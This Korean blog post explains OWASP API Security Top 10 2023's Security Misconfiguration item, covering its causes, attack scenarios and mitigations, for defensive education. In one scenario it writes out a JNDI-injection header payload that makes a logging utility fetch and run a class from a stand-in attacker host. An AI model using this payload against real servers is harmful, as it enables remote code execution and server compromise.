안녕하세요. 여행자K입니다.
이번에는 OWASP API Security Top 10 2023 리스트의 여덟 번째 주제, API8:2023 Security Misconfiguration (보안 설정 오류)에 대해 자세히 알아보겠습니다. API 보안에서 가장 흔하지만, 매우 위험한 취약점 중 하나로 꼽히는 보안 설정 오류는 작은 실수 하나로도 심각한 보안 사고를 초래할 수 있습니다. 본 포스팅을 통해 이 위협을 함께 파악하고, 효과적인 예방 전략을 모색하고자 합니다.
Security Misconfiguration(보안 설정 오류)란?
보안 설정 오류는 API 스택의 네트워크 계층부터 애플리케이션 계층에 이르기까지 모든 수준에서 발생할 수 있는 광범위한 보안 문제입니다. 이는 의도치 않게 취약점을 초래하며, 제대로 구성되지 않은 설정들이 공격자에게 시스템 접근 권한이나 민감한 정보를 노출시키는 결과를 낳을 수 있습니다. 공격자가 이러한 설정을 악용할 경우, 다른 사용자의 자원이나 관리자 기능에 접근하는 것이 가능해집니다.
보안 설정 오류는 개발자나 DevOps 엔지니어가 복잡한 API 및 지원 시스템의 구성을 간과하거나, 안전하지 않은 기본 구성을 사용하는 경우에 자주 발생합니다. 자동화된 도구를 통해 불필요한 서비스나 레거시 옵션과 같은 잘못된 구성을 쉽게 탐지하고 악용할 수 있습니다.
API 취약성 요인
API가 보안 설정 오류에 취약해지는 주요 요인은 다음과 같습니다.
1. API 스택 전반에 걸쳐 적절한 보안 강화 조치가 미흡하거나, 클라우드 서비스(예: S3 버킷 권한)의 권한이 부적절하게 구성된 경우
2. 최신 보안 패치가 누락되었거나 시스템이 오래된 경우
3. 불필요한 기능(예: HTTP 동사, 로깅 기능)이 활성화된 경우
4. HTTP 서버 체인 내에서 들어오는 요청을 처리하는 방식에 불일치가 있는 경우
5. 전송 계층 보안(TLS)이 누락된 경우
6. 클라이언트에 보안 또는 캐시 제어 지시문이 전송되지 않는 경우
7. CORS(Cross-Origin Resource Sharing) 정책이 누락되거나 부적절하게 설정된 경우
8. 오류 메시지에 스택 추적이나 기타 민감한 정보가 노출되는 경우
실제 공격 시나리오
두 가지 시나리오를 통해 보안 설정 오류가 어떻게 실제 공격으로 이어질 수 있는지 살펴보겠습니다.
1. 시나리오 #1: 로깅 유틸리티의 JNDI 취약점
API 백엔드 서버가 널리 사용되는 서드파티 오픈소스 로깅 유틸리티를 사용하여 접근 로그를 관리합니다. 이 유틸리티는 기본적으로 자리 표시자 확장 및 JNDI(Java Naming and Directory Interface) 조회를 지원합니다. 공격자는 다음과 같은 API 요청을 전송합니다.
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
로깅 유틸리티의 안전하지 않은 기본 구성과 허용적인 네트워크 아웃바운드 정책으로 인해, X-Api-Version 헤더의 값이 확장되면서 로깅 유틸리티는 공격자의 원격 제어 서버에서 Malicious.class 객체를 가져와 실행하게 됩니다. 이는 심각한 서버 침해로 이어질 수 있습니다.
2. 시나리오 #2: 캐시 제어 헤더 누락
소셜 네트워크 웹사이트의 "다이렉트 메시지" 기능은 사용자 간의 비공개 대화를 지원합니다. 이 기능을 위해 다음과 같은 API 요청이 발생합니다.
GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
만약 이 API 응답에 Cache-Control HTTP 응답 헤더가 포함되지 않으면, 민감한 개인 대화 내용이 웹 브라우저에 캐시될 수 있습니다. 악의적인 공격자는 브라우저의 캐시 파일에 접근하여 이 대화 내용을 검색하고 탈취할 수 있습니다.
대응방안
API 보안 설정 오류를 예방하기 위한 핵심 전략은 다음과 같습니다.
1. 자동화된 보안 강화 프로세스:
- 반복 가능하고 쉬운 배포를 위한 보안 강화 프로세스를 구축하여 환경을 안전하게 보호해야 합니다.
- 오케스트레이션 파일, API 구성 요소, 클라우드 서비스(예: S3 버킷 권한)를 포함한 전체 API 스택에 걸쳐 구성을 검토하고 업데이트하는 작업을 수행해야 합니다.
- 모든 환경에서 구성 및 설정의 효과를 지속적으로 평가하는 자동화된 프로세스를 마련해야 합니다.
2. 안전한 통신 채널 사용:
- 클라이언트부터 API 서버, 그리고 모든 다운스트림/업스트림 구성 요소에 이르는 모든 API 통신은 내부 API이든 외부 공개 API이든 관계없이 암호화된 통신 채널(TLS)을 통해 이루어지도록 해야 합니다.
3. HTTP 동사(Verb)의 엄격한 관리:
- 각 API가 어떤 HTTP 동사로 접근될 수 있는지 명확하게 지정하고, 그 외의 모든 HTTP 동사(예: HEAD)는 비활성화해야 합니다.
4. 브라우저 기반 클라이언트 API 보안 강화:
- 브라우저 기반 클라이언트(예: 웹 애플리케이션 프런트엔드)에서 접근할 것으로 예상되는 API의 경우, 적절한 CORS(Cross-Origin Resource Sharing) 정책을 구현하고 관련 보안 헤더를 포함해야 합니다.
5. 입력 데이터 유효성 검사:
- 비즈니스/기능 요구 사항을 충족하는 콘텐츠 유형/데이터 형식으로 들어오는 콘텐츠를 제한해야 합니다.
6. 균일한 요청 처리:
- HTTP 서버 체인(예: 로드 밸런서, 리버스 및 포워드 프록시, 백엔드 서버)의 모든 서버가 들어오는 요청을 균일하게 처리하여 불일치(desync) 문제를 방지하도록 해야 합니다.
7. 오류 응답 시 민감 정보 노출 방지:
- 해당하는 경우, 예외 추적 및 기타 가치 있는 정보가 공격자에게 전송되는 것을 방지하기 위해 오류 응답을 포함하여 모든 API 응답 페이로드 스키마를 정의하고 적용해야 합니다.
API08:2023 Security Misconfiguration은 사소해 보이는 설정 오류가 치명적인 결과를 초래할 수 있음을 보여줍니다. 따라서 개발 및 운영 전반에 걸쳐 보안을 최우선으로 고려하고, 철저한 검토와 자동화된 관리 프로세스를 통해 API의 안전성을 확보하는 것이 중요합니다.
읽어주셔서 감사합니다.